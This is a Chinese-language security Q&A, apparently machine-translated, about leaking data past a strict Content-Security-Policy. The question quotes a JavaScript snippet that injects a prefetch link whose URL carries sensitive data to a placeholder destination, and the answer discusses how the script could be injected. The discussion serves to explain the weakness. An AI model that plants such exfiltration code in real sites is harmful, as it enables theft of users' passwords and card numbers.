具有严格 CSP 的 XSS 漏洞

信息安全 xss 内容安全策略
2021-08-16 06:23:31

我正在从您的网站收集信用卡号和密码的文章。就是这样。描述了攻击者可以绕过严格的 CSP 并泄露敏感信息的理论攻击阶段。文章声称这个脚本可以绕过 CSP:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

这利用prefetch了 CSP 标准中的行为未指定这一事实。在 Chrome 中,这是可行的,但 Firefox 目前阻止了这种情况的发生(考虑到错误报告中的用户投诉,这可能会改变)。该文章声称即使使用最严格的安全策略,这也适用:

Content-Security-Policy: default-src 'none'; script-src 'self'

这是真的,因为目前没有回退行为prefetch然而,没有解决的问题是攻击者的代码仍然必须以某种方式注入(离线)。文章“使用 DNS 预取绕过 Content-Security-Policy”表明这是通过在其他地方找到 XSS 漏洞来完成的。

假设目标网站使用 HSTS,并且访问该网站的用户使用 NoScript,那么这样的攻击向量会是什么样子?

1个回答

HSTS 仅在关注 MITM 时才相关(例如,在公共 wifi 上),因此我的其余答案将假设远程向量既可以使用 HSTS,也可以不使用。

如果用户将 NoScript 设置为不执行任何脚本,则该用户将不会被任何 XSS 攻击(因为没有编写脚本,所以不可能有跨站脚本)。

如果 NoScript 允许本地脚本(但可能会阻止来自第 3 方的脚本),那么它看起来就像任何其他 XSS 向量。大多数 XSS 都是因为能够将任意脚本注入页面。使用列出的 CSP,它变得更加困难,因为攻击者需要从本地域获取脚本(因为 unsafe-inline 不可用),但这可能发生在同一来源的任意文件上传。

真的,整个事情更多的是关于通过 CSP 泄露数据,而不是原始注入向量——许多不同的向量将允许通过预取来泄露数据。